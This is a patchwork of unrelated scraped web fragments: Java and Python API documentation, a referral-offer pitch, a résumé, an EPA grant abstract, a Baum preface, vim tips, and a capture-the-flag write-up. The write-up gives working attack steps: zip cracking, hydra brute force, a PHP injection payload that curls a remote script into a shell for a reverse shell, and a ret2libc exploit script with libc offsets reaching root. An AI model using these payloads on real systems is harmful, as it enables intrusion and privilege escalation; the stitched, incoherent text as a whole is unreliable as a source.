Structure |
getStructure()
Get the structure that was spawned.
|
public StructureSpawnEvent(Structure structure, org.bukkit.Location location, double rotation, StructureSpawnHolder holder)
structure
- The structure.location
- The location of the structure.rotation
- The rotation (in degrees).holder
- The holder for structure data.public Structure getStructure()
public org.bukkit.Location getLocation()
This is where the origin point of the schematic spawns.
public double getRotation()
public org.bukkit.Location getMinimumPoint()
The rotation transformation is already applied.
Note: This is not guaranteed to be the minimum point if the structure is rotated. Use Math.min() in order to determine the true minimum x, y, and z values.
public org.bukkit.Location getMaximumPoint()
The rotation transformation is already applied.
Note: This is not guaranteed to be the maximum point if the structure is rotated. Use Math.min() in order to determine the true maximum x, y, and z values.
public java.util.List<org.bukkit.Location> getContainersAndSignsLocations()
Note: Containers may already have a loot table defined.
Note 2: Not all locations are guaranteed to be either a sign or a container since a sign may have been removed by the plugin in order to spawn a mob or schematic.
Note 3: All locations already have the rotation transformation applied.
@NotNull public org.bukkit.event.HandlerList getHandlers()
getHandlers
in class org.bukkit.event.Event
public static org.bukkit.event.HandlerList getHandlerList()


Package turing.server
Class Document
- java.lang.Object
-
- turing.server.Document
-
public class Document extends java.lang.Object
Represents a document inside the server
-
-
Field Summary
Fields Modifier and Type Field Description private java.util.List<User>
allowedUsers
private java.nio.channels.DatagramChannel
channel
private java.net.InetAddress
chatAddress
private User
creator
private int
editingUsers
private java.net.InetSocketAddress
groupAddress
private java.lang.String
name
private Section[]
sections
-
Method Summary
All Methods Instance Methods Concrete Methods Modifier and Type Method Description void
addEditingUser()
Adds an editing user and eventually starts the chat No need of synchronization because the method call is already synchronizedprivate void
closeChat()
Closes the chat channeljava.net.InetAddress
getChatAddress()
Returns the chat addressUser
getCreator()
Returns the document creatorjava.lang.String
getName()
Returns the document nameint
getNumberOfSections()
Returns the number of sectionsSection
getSection(int index)
Returns the specified sectionboolean
isEditableBy(User user)
Checks if the user is allowed to edit the documentboolean
isShared()
Checks if the document is sharedprivate void
openChat(java.net.InetAddress chatAddress)
Initializes the chat channelvoid
removeEditingUser()
Removes an editing user and eventually closes the chat No need of synchronization because the method call is already synchronizedboolean
sendChatMessage(java.lang.String message, java.lang.String username)
Sends a message to the chat channelboolean
shareWith(User user)
Share the document with another user
-
-
-
Field Detail
-
name
private java.lang.String name
-
creator
private User creator
-
sections
private Section[] sections
-
allowedUsers
private java.util.List<User> allowedUsers
-
chatAddress
private java.net.InetAddress chatAddress
-
editingUsers
private int editingUsers
-
groupAddress
private java.net.InetSocketAddress groupAddress
-
channel
private java.nio.channels.DatagramChannel channel
-
-
Constructor Detail
-
Document
public Document(java.lang.String name, User creator, int sections) throws java.io.IOException, java.lang.IllegalArgumentException, PreExistentDocumentException
Creates a new document- Parameters:
name
- the document namecreator
- the document creatorsections
- the number of sections- Throws:
java.io.IOException
- if a disk error occursjava.lang.IllegalArgumentException
- if sections is < 1 or > Server.MAX_SECTIONSPreExistentDocumentException
- if the document already exists
-
-
Method Detail
-
getName
public java.lang.String getName()
Returns the document name- Returns:
- the document name
-
getCreator
public User getCreator()
Returns the document creator- Returns:
- the document creator
-
getNumberOfSections
public int getNumberOfSections()
Returns the number of sections- Returns:
- the number of sections
-
getChatAddress
public java.net.InetAddress getChatAddress()
Returns the chat address- Returns:
- the chat address
-
isShared
public boolean isShared()
Checks if the document is shared- Returns:
- true if the document is shared false otherwise
-
addEditingUser
public void addEditingUser()
Adds an editing user and eventually starts the chat No need of synchronization because the method call is already synchronized
-
removeEditingUser
public void removeEditingUser()
Removes an editing user and eventually closes the chat No need of synchronization because the method call is already synchronized
-
getSection
public Section getSection(int index)
Returns the specified section- Parameters:
index
- the number of the section to get- Returns:
- the section, if index is in a valid range null otherwise
-
isEditableBy
public boolean isEditableBy(User user)
Checks if the user is allowed to edit the document- Parameters:
user
- the user to to check- Returns:
- true if the user is allowed false otherwise
-
shareWith
public boolean shareWith(User user)
Share the document with another user- Parameters:
user
- the user to share with- Returns:
- true if the document wasn't already shared with that user false otherwise
-
sendChatMessage
public boolean sendChatMessage(java.lang.String message, java.lang.String username)
Sends a message to the chat channel- Parameters:
message
- the message to sendusername
- the sender username- Returns:
- true if the message have been sent false otherwise
-
openChat
private void openChat(java.net.InetAddress chatAddress)
Initializes the chat channel- Parameters:
chatAddress
- the address of the chat
-
closeChat
private void closeChat()
Closes the chat channel
-
-


Each offer is worth a certain number of credits based on it’s commission. The credits of every offer you complete are added up and every 1.00 credit puts you up 1 level.
You’ll earn $5 per Level your referrals reach, but you can’t earn beyond your own Level.
Level Rewards is an referral incentive program that incentivize users to complete offers by getting paid to refer friends. Referral incentive offers typically pay much higher than direct GPT(‘Get Paid To”) offers.
Every time your referrals level up, you’ll be able to request payment for their completions as long as they are not beyond your level! Build a good relationship with your referrals and you’ll continually earn!
Once you Level Up, we have community groups and training material in place to help you to get started earning money online!


SDE2 at Amazon. Masters in CS with AI from IIIT Delhi. Bachelors in CS from MSIT.
SDE-2 at Amazon
SDE-1 at Amazon
6 month intern at Amazon
Teaching assistant for the course CSE-201 at IIITD
Teaching assistant for the course CSE-102 at IIITD. Involved in taking tutorials, conducting labs and grading.
Teaching assistant for the course MTH-203 at IIITD. Involved in taking tutorials and grading.
Developed games using Unity3d, Blender and Photoshop.
Analyzed the Indian Railway Network and drew inferences out of it. Constructed a graph subquerying and visualization system.
Performed Author identification given multiple short text snippets via using stylometric and lexicographical features. Crawled and generated a dataset for the said problem as well.
Created an automated trading model for guidance in a stock market setting. The aim is to maximize the profit given the state of the stock prices and a brief history.
Dealing with various machine learning challenges associated with the classification of musical genres. A final accuracy of 88.4% achieved on ten genre classification with sample length manipulation./
Deriving a structured recipe from an unstructured corpus. Building a Knowledge Graph of the structure obtained. Extraction of inferences from the KG and building a querying system that prints subgraphs. It ranked #3 best project out of 47 projects.
Using a Bayesian Network guided approach to mapping overlapping high resolution and low-resolution image patches. Processing the patches to form a super-resolved image.
Cracked simple symmetric ciphers in Python using Evolutionary Algorithms. Cipher keys found in vast search spaces using genetic and memetic learning.
Development of a user-driven multi-content sharing and reading social platform. In-app support for reading and publishing comics, manga, and stories.
Development of a hyper-casual game in Unity3D. Currently published on Google Play Store.
Development of a Pong and Block-breaker based modern 3d approach using Unity. Currently published on Google Play Store.
Simulated various Biotic and Abiotic cycles in a closed Ecosystem in Python along with visualizing and warehousing cycle data.


A lot of enumeration and a lot of rabbit holes.  Remove spaces. This decodes to a zip archive.
zipinfo shows that it contains index.php, but it's password protected!
zip2john *.zip and attempt to crack it.
password is: password
Now unzip and get index.php.
Index.php contains a bunch of...hex data. xxd -r -p
Base64 data. Decode: brainfuck programming
Brainfuck: idkwhatispass
Try going back to SMB
hydra -l admin -P password.txt smb://<IP_ADDRESS>
0 valid passwords
gobuster still running in the background, find 9999/dev/backup to give us /playsms
9999/playsms
admin:idkwhatispass
Vulnerability with Import Contacts using CSV file. Uses 3 columns, so pass in three.
<?php system('curl <IP_ADDRESS>/PleaseSubscribe.sh | base'); ?>,2,3
Where PleaseSubscribe.sh is a reverse shell
Catch the reverse shell
SUID binary /home/ayush/.binary/rop
Load into GDB on local
$ pattern_create 100
$ r <pattern>
$ pattern_offset 0x41474141
found at offset: 52
$ checksec
NX: ENABLED
RELRO: Partial
32-bit system
frolic$ ldd rop
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
frolic$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i system
0003ada0
frolic$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i exit
0002e9d0
frolic$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep -i bin/sh
15ba0b
================================================
import struct
junk = "A" * 52
libc = 0xb7e19000
system = struct.pack('<I', libc + 0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)
payload = junk + system + exit + binsh
================================================
rop $(python exploit.py)
# whoami
root


Threads
Legend:
.
New
|
Runnable
x
Blocked
z
Waiting
or
Timed waiting
_
Terminated
Thread list
Name
State
History


This is the API documentation for 'mustache-0.99.4 Documentation'.
[Validate]
Generated with the Darkfish Rdoc Generator 2.


A walker that'll recursively progress through an AST. More...
Public Member Functions | |
| def | __init__ |
| Initialize a few class variables in preparation for our walk. More... | |
| def | generic_visit |
| Extract useful information from relevant nodes including docstrings. More... | |
| def | visit |
| Visit a node and extract useful information from it. More... | |
| def | visit_Module |
| Handles the module-level docstring. More... | |
| def | visit_Assign |
| Handles assignments within code. More... | |
| def | visit_Call |
| Handles function calls within code. More... | |
| def | visit_FunctionDef |
| Handles function definitions within code. More... | |
| def | visit_ClassDef |
| Handles class definitions within code. More... | |
| def | parseLines |
| Form an AST for the code and produce a new version of the source. More... | |
| def | getLines |
| Return the modified file once processing has been completed.
Given an abstract syntax tree for Python code, walk through all the nodes looking for significant types (for our purposes we only care about module starts, class definitions, function definitions, variable assignments, and function calls, as all the information we want to pass to Doxygen is found within these constructs). If the autobrief option is set, it further attempts to parse docstrings to create appropriate Doxygen tags.
| def __init__ | ( | self, | |
| lines, | |||
| options, | |||
| inFilename | |||
| ) |
Initialize a few class variables in preparation for our walk.
| def generic_visit | ( | self, | |
| node, | |||
| kwargs | |||
| ) |
Extract useful information from relevant nodes including docstrings.
This is virtually identical to the standard version contained in NodeVisitor. It is only overridden because we're tracking extra information (the hierarchy of containing nodes) not preserved in the original.
| def getLines | ( | self | ) |
Return the modified file once processing has been completed.
| def parseLines | ( | self | ) |
Form an AST for the code and produce a new version of the source.
| def visit | ( | self, | |
| node, | |||
| kwargs | |||
| ) |
Visit a node and extract useful information from it.
This is virtually identical to the standard version contained in NodeVisitor. It is only overridden because we're tracking extra information (the hierarchy of containing nodes) not preserved in the original.
| def visit_Assign | ( | self, | |
| node, | |||
| kwargs | |||
| ) |
Handles assignments within code.
Variable assignments in Python are used to represent interface attributes in addition to basic variables. If an assignment appears to be an attribute, it gets labeled as such for Doxygen. If a variable name uses Python mangling or is just a bed lump, it is labeled as private for Doxygen.
| def visit_Call | ( | self, | |
| node, | |||
| kwargs | |||
| ) |
Handles function calls within code.
Function calls in Python are used to represent interface implementations in addition to their normal use. If a call appears to mark an implementation, it gets labeled as such for Doxygen.
| def visit_ClassDef | ( | self, | |
| node, | |||
| kwargs | |||
| ) |
Handles class definitions within code.
Process the docstring. Note though that in Python Class definitions are used to define interfaces in addition to classes. If a class definition appears to be an interface definition tag it as an interface definition for Doxygen. Otherwise tag it as a class definition for Doxygen.
| def visit_FunctionDef | ( | self, | |
| node, | |||
| kwargs | |||
| ) |
Handles function definitions within code.
Process a function's docstring, keeping well aware of the function's context and whether or not it's part of an interface definition.
| def visit_Module | ( | self, | |
| node, | |||
| kwargs | |||
| ) |
Handles the module-level docstring.
Process the module-level docstring and create appropriate Doxygen tags if autobrief option is set.


Plant-Derived Materials to Enhance the Performance of Polyurethane Materials
EPA Grant Number: R831436Title: Plant-Derived Materials to Enhance the Performance of Polyurethane Materials
Investigators: Nelson, Chad , Hsu, Shaw Ling
Institution: University of Massachusetts - Amherst
EPA Project Officer: Richards, April
Project Period: January 5, 2004 through July 4, 2007
Project Amount: $350,000
RFA: Technology for a Sustainable Environment (2003) RFA Text | Recipients Lists
Research Category: Sustainability , Pollution Prevention/Sustainable Development
Description:
American demand (about 35% of world demand) for polyurethane foams, elastomers, coatings and adhesives currently exceeds 6 billion pounds/year and is increasing. Typical urethanes consist of diisocyanate, diol or amine extenders, and end-functionalized soft segments. Close to 2 billion lbs of aromatic isocyanates are used annually in the production of polyurethane. The aromatic isocyanates methylenebis(phenylisocyanate) (MDI) and toluenediisocyanate (TDI) are potentially hazardous, reactive materials that have acute toxicity and suspected carcigenicity that are covered under the Federal Toxic Release Inventory (TRI), and there use is subject to regulation under CERCLA and CAA. TDI waste is also regulated as hazardous under RCRA and appears in the list of chemicals that EPA determined met the OSHA criteria for the 0.1 percent de minimus limitation under section 313. To achieve the final product properties and/or optimize processing conditions, excess isocyanates are often required, resulting excess consumption and unreacted material in the final product. The rising costs of synthetic polyester and other petroleum derived additives and co-monomers are also driving up the cost of polyurethane.
Objective:
The proposed project will identify new polyurethane formulations that will eliminate the need for excess isocyanates and improve the performance of the resulting polyurethane products. These new formulations will be based on new polyurethane soft segments and blends based on renewable, plant-derived materials.
Approach:
Nature has provided us with an abundant supply of renewable resources to be used as raw materials. Poly(lactic acids) (PLAs), poly(hydroxy alkonate) (PHAs), and lignin all have their own unique properties that could make them suitable as additives in various types of polyurethane formulations. Poly(lactic acids) are already being produced from non-food crop residues such as corn stover. Poly(hydroxy alkonates) have been produced from plant crops such as switch grass. The use of tailored, plant-derived polyesters or polyacids can produce high performance polyurethane materials while at the same time reducing the amount of isocyanate required and eliminating the need for petroleum-derived, polyester additives. Petroleum-derived polyesters are currently used to enhance polymer performance by, among other things, modifying the crystallization behavior. The natural polyesters proposed, actually provide greater flexibility in modifying performance than the petroleum-derived counterparts. The presence of multiple reactive functional groups enables the use of lignin as a co-polymer or as an extender which has the potential to reduce the requirement for both isocyanate and diol extender. For the development of these renewable resource additives to be successful, fundamental understanding of the underlying chemistry, physical properties of the pre-polymer, curing dynamics, and morphology of the cured polyurethane is required. We will systematically study the chemical composition as well as the miscibility of the new additives. We will also measure the detailed properties of the resulting polyurethane materials.
Expected Results:
This project will begin to develop a 'tool kit' of plant-based additives that can be used to tailor the properties of the resulting polymer to fit a variety of high performance applications. The use of tailored materials along with increased understanding of the curing process will result in polyurethane materials with enhanced performance, at lower cost, and with a lower demand for toxic and/or non-renewable starting materials. While this project will not decrease the growing world demand for polyurethane materials and products, it will, if successful, reduce the demand for aromatic diisocyanates and other, petroleum-derived starting materials and substantially reduce the amounts of unreacted isocyanates in the final product. These reductions will, in turn, reduce the risk of human exposure to these materials during the production, use, and ultimate disposal of polyurethane foams, adhesives, and coatings. The reduced demand will also reduce the quantity of aromatic diisocyanate that needs to be transported and/or stockpiled, thereby reducing the risk of accidental release to the environment.
Publications and Presentations:
Publications have been submitted on this project: View all 14 publications for this projectJournal Articles:
Journal Articles have been submitted on this project: View all 14 journal articles for this projectSupplemental Keywords:
chemicals, toxics, pollution prevention, green chemistry, alternatives, clean technologies, innovative technology, waste reduction, waste minimization, environmentally conscious manufacturing, environmental chemistry, physics, engineering, analytical, agriculture, industry, NAICS codes: 1111, 1119, 3212, 3221, 3231, 3251, 3252, 3255, 3259, 3261, 3332., RFA, Scientific Discipline, TREATMENT/CONTROL, Sustainable Industry/Business, Chemical Engineering, Environmental Chemistry, Sustainable Environment, Technology, Technology for Sustainable Environment, clean technologies, green design, elastomers, alternative materials, clean manufacturing, carcinogenicity, coatings, plant derived polyurethaneProgress and Final Reports:
2006 Progress ReportFinal Report


Fun and Exciting things to do in and around Tempe
Home
Areas
Tempe
Surrounding Areas
Other Class related pages
Web Security
Date Calculator
Contact Me
Introduction
Local airport Information


{# needs requirement_partial for node content #} {# needs document_type for requirement_partial #} {%- if traceability_index.has_parent_requirements(requirement) %}


Women have the right to vote, to hold public office, to be free from violence and discrimination, to own property, to earn fair wages and equal pay, to have reproductive rights, and to be educated.
Image taken from this website.
1 in 5 women and girls have experienced physical and/or sexual violence by an intimate partner within the last 12 months.
Image taken from this website.
You can support this topic by promoting it on your social media account or by contacting your state representatives to strive for change in our system. Learn more in the Take Action page.
Image taken from this website.


Dorothy and the Wizard in Oz
by L. Frank Baum
To My Readers
Additional Information
- Year Published: 1908
- Language: English
- Country of Origin: United States of America
- Source: Baum, F. L. (1908). Dorothy and the Wizard in Oz. Chicago: Reilly and Britton.
-
Readability:
- Flesch–Kincaid Level: 6.0
- Word Count: 699
- Genre: Fantasy
- Keywords: 20th century literature, american literature, books of oz, l. frank baum, self-help
- ✎ Cite This
Downloads
It’s no use; no use at all. The children won’t let me stop telling tales of the Land of Oz. I know lots of other stories, and I hope to tell them, some time or another; but just now my loving tyrants won’t allow me. They cry: “Oz—Oz! more about Oz, Mr. Baum!” and what can I do but obey their commands?
This is Our Book—mine and the children’s. For they have flooded me with thousands of suggestions in regard to it, and I have honestly tried to adopt as many of these suggestions as could be fitted into one story.
After the wonderful success of “Ozma of Oz” it is evident that Dorothy has become a firm fixture in these Oz stories. The little ones all love Dorothy, and as one of my small friends aptly states: “It isn’t a real Oz story without her.” So here she is again, as sweet and gentle and innocent as ever, I hope, and the heroine of another strange adventure.
There were many requests from my little correspondents for “more about the Wizard.” It seems the jolly old fellow made hosts of friends in the first Oz book, in spite of the fact that he frankly acknowledged himself “a humbug.” The children had heard how he mounted into the sky in a balloon and they were all waiting for him to come down again. So what could I do but tell “what happened to the Wizard afterward”? You will find him in these pages, just the same humbug Wizard as before.
There was one thing the children demanded which I found it impossible to do in this present book: they bade me introduce Toto, Dorothy’s little black dog, who has many friends among my readers. But you will see, when you begin to read the story, that Toto was in Kansas while Dorothy was in California, and so she had to start on her adventure without him. In this book Dorothy had to take her kitten with her instead of her dog; but in the next Oz book, if I am permitted to write one, I intend to tell a good deal about Toto’s further history.
Princess Ozma, whom I love as much as my readers do, is again introduced in this story, and so are several of our old friends of Oz. You will also become acquainted with Jim the Cab-Horse, the Nine Tiny Piglets, and Eureka, the Kitten. I am sorry the kitten was not as well behaved as she ought to have been; but perhaps she wasn’t brought up properly. Dorothy found her, you see, and who her parents were nobody knows.
I believe, my dears, that I am the proudest storyteller that ever lived. Many a time tears of pride and joy have stood in my eyes while I read the tender, loving, appealing letters that came to me in almost every mail from my little readers. To have pleased you, to have interested you, to have won your friendship, and perhaps your love, through my stories, is to my mind as great an achievement as to become President of the United States. Indeed, I would much rather be your storyteller, under these conditions, than to be the President. So you have helped me to fulfill my life’s ambition, and I am more grateful to you, my dears, than I can express in words.
I try to answer every letter of my young correspondents; yet sometimes there are so many letters that a little time must pass before you get your answer. But be patient, friends, for the answer will surely come, and by writing to me you more than repay me for the pleasant task of preparing these books. Besides, I am proud to acknowledge that the books are partly yours, for your suggestions often guide me in telling the stories, and I am sure they would not be half so good without your clever and thoughtful assistance.
L. FRANK BAUM
Coronado, 1908.


public class Music
extends java.lang.Object
| Constructor and Description |
|---|
Music(java.io.InputStream in,
java.lang.String ref)
Create and load a piece of music (either OGG or MOD/XM)
|
Music(java.lang.String ref)
Create and load a piece of music (either OGG or MOD/XM)
|
Music(java.lang.String ref,
boolean streamingHint)
Create and load a piece of music (either OGG or MOD/XM)
|
Music(java.net.URL ref)
Create and load a piece of music (either OGG or MOD/XM)
|
Music(java.net.URL url,
boolean streamingHint)
Create and load a piece of music (either OGG or MOD/XM)
|
| Modifier and Type | Method and Description |
|---|---|
void |
addListener(MusicListener listener)
Add a listener to this music
|
void |
fade(int duration,
float endVolume,
boolean stopAfterFade)
Fade this music to the volume specified
|
float |
getPosition()
The position into the sound thats being played
|
float |
getVolume()
Get the individual volume of the music
|
void |
loop()
Loop the music
|
void |
loop(float pitch,
float volume)
Loop the music at a given pitch and volume
|
void |
pause()
Pause the music playback
|
void |
play()
Play the music
|
void |
play(float pitch,
float volume)
Play the music at a given pitch and volume
|
boolean |
playing()
Check if the music is being played
|
static void |
poll(int delta)
Poll the state of the current music.
|
void |
removeListener(MusicListener listener)
Remove a listener from this music
|
void |
resume()
Resume the music playback
|
boolean |
setPosition(float position)
Seeks to a position in the music.
|
void |
setVolume(float volume)
Set the volume of the music as a factor of the global volume setting
|
void |
stop()
Stop the music playing
|
public Music(java.lang.String ref)
ref
- The location of the musicpublic Music(java.net.URL ref)
ref
- The location of the musicpublic Music(java.io.InputStream in, java.lang.String ref)
in
- The stream to read the music fromref
- The symbolic name of this musicpublic Music(java.net.URL url, boolean streamingHint)
url
- The location of the musicstreamingHint
- A hint to indicate whether streaming should be used if possiblepublic Music(java.lang.String ref, boolean streamingHint)
ref
- The location of the musicstreamingHint
- A hint to indicate whether streaming should be used if possiblepublic static void poll(int delta)
delta
- The amount of time since last pollpublic void addListener(MusicListener listener)
listener
- The listener to addpublic void removeListener(MusicListener listener)
listener
- The listener to removepublic void loop()
public void play()
public void play(float pitch, float volume)
pitch
- The pitch to play the music at (1.0 = default)volume
- The volume to play the music at (1.0 = default)public void loop(float pitch, float volume)
pitch
- The pitch to play the music at (1.0 = default)volume
- The volume to play the music at (1.0 = default)public void pause()
public void stop()
public void resume()
public boolean playing()
public void setVolume(float volume)
volume
- The volume to play music at. 0 - 1, 1 is Maxpublic float getVolume()
public void fade(int duration, float endVolume, boolean stopAfterFade)
duration
- Fade time in milliseconds.endVolume
- The target volumestopAfterFade
- True if music should be stopped after fading in/outpublic boolean setPosition(float position)
position
- Position in seconds.public float getPosition()


Symbol Index for "Subject"
Symbol Index for diagram
"Subject"
Agent (Class)
created subject (Association)
creating event (Association)
Event (Class)
Inter Subject Relationship (Class)
maintained as (Association)
Percept (Class)
Percept/Essential Type (Generalization Node)
Reference Point (Class)
relation (Association)
Resource Held (Class)
SPh/Essential Type (Generalization Node)
SPr/Association (Generalization Node)
subject (Association)
subject (Association)
Subject (Class)
Subject Creation (Class)
Subject Identifier (Class)
Subject Phenomenon (Class)
Subject Property (Class)


Access denied
Please try again later. If this issue continues to occur please contact the Book a Secure Move team.
OK, continue


The "framework" for dealing with appearances. This is really needed when later on an interactive/viewer application needs to create appearances. It is here already to satisfy the dependencies from the IFormHandler frameworks.


There are probably too many commands to list here, but some nice ones to keep in mind:
Defining a macro:
q
macro key bind
<commands / keys>
q
Now you can call your macro with @<macro key bind> or multiple times with #@<macro key bind>
Hex edit
:%!xxd (and go back with :%!xxd -r)